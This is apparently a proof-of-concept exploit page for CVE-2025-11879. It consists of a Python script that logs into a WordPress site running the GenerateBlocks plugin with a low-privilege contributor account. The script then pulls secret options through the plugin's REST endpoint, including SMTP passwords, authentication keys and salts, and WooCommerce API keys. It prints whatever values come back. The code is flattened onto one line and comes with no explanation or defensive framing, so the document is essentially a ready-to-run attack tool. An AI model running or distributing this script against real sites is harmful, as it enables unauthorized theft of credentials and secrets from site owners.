CVE-2025-11879

import requests import sys # CVE-2025-11879 PoC - GenerateBlocks Unauthorized Options Read # Target: WordPress site with GenerateBlocks plugin <= 2.1.1 TARGET = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' USERNAME = sys.argv[2] if len(sys.argv) > 2 else 'attacker' PASSWORD = sys.argv[3] if len(sys.argv) > 3 else 'password' # Sensitive options to check SENSITIVE_OPTIONS = [ 'smtp_password', 'mailserver_pass', 'auth_key', 'secure_auth_key', 'logged_in_key', 'nonce_salt', 'woocommerce_api_key', 'wp_json_api_key' ] def exploit(): # Step 1: Authenticate with contributor-level account session = requests.Session() auth_url = f'{TARGET}/wp-json/jwt-auth/v1/token' auth_data = {'username': USERNAME, 'password': PASSWORD} try: resp = session.post(auth_url, json=auth_data, timeout=10) if resp.status_code != 200: # Fallback to standard WP auth auth_url = f'{TARGET}/wp-login.php' session.post(auth_url, data={'log': USERNAME, 'pwd': PASSWORD}) except: pass # Step 2: Enumerate sensitive options via REST API print(f'[*] Exploiting CVE-2025-11879 on {TARGET}') print(f'[*] Target: GenerateBlocks plugin <= 2.1.1') print('=' * 50) api_endpoint = f'{TARGET}/wp-json/generateblocks/v1/options' for option in SENSITIVE_OPTIONS: try: params = {'option_name': option} resp = session.get(api_endpoint, params=params, timeout=10) if resp.status_code == 200: data = resp.json() if 'value' in data and data['value']: print(f'[+] FOUND: {option}') print(f' Value: {data["value"]}') except Exception as e: print(f'[-] Error checking {option}: {e}') print('[*] Scan complete') if __name__ == '__main__': exploit()

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